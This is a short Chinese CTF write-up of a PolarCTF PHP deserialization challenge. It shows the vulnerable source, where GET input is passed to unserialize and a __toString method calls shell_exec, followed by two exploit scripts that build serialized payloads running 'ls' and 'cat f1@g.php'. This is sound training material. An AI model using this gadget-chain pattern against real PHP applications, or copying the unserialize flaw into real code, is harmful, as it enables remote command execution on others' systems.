【PolarCTF】PHP反序列化初试

复制代码
<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
}
class Evil{
    public $evil;
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}

if(isset($_GET['easy'])){
    unserialize($_GET['easy']);
}else{
    highlight_file(__FILE__);
}

攻击路径

复制代码
1、控制$this->evil的内容

3、触发__toString方法

exp如下

复制代码
<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
    public function __construct()
    {
        $this->name = new Evil();
    }

}
class Evil{
    public $evil = 'ls';
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}

$easy = new Easy();
echo urlencode(serialize($easy));
?>
复制代码
<?php
class Easy{
    public $name;
    public function __wakeup()
    {
        echo $this->name;
    }
    public function __construct()
    {
        $this->name = new Evil();
    }

}
class Evil{
    public $evil = 'cat f1@g.php';
    private $env;
    public function __toString()
    {
        $this->env=shell_exec($this->evil);
        return $this->env;
    }
}

$easy = new Easy();
echo urlencode(serialize($easy));
?>

得到flag

相关推荐
2301_780303902 小时前
网络安全、自动化运维、ERP、CRM、MES
运维·web安全·网络安全·自动化·安全威胁分析
学逆向的2 小时前
汇编——内存
开发语言·汇编·算法·网络安全
学逆向的7 小时前
汇编——位运算
开发语言·汇编·算法·网络安全
数据知道9 小时前
安全报告怎么写才专业:渗透测试报告模板与踩坑
安全·网络安全·漏洞修复·安全报告·渗透测试报告
福来阁86号技师11 小时前
2026-now 网络安全笔记
网络安全·ctf·awd
编程(变成)小辣鸡12 小时前
如何防止接口被恶意刷?
java·后端·网络安全
ylscode19 小时前
OpenSSH 10.4 正式发布:后量子加密落地,多项高危漏洞得到修复
网络·安全·网络安全
HackTwoHub1 天前
ARL灯塔重构版:支持APP/小程序/WEB资产同步扫描
人工智能·安全·web安全·网络安全·小程序·重构·自动化
ccino .1 天前
Hackerone-地址栏xss
网络安全·xss
数据知道1 天前
网络安全工具箱:100+ 工具分类速查与选型建议
安全·web安全·网络安全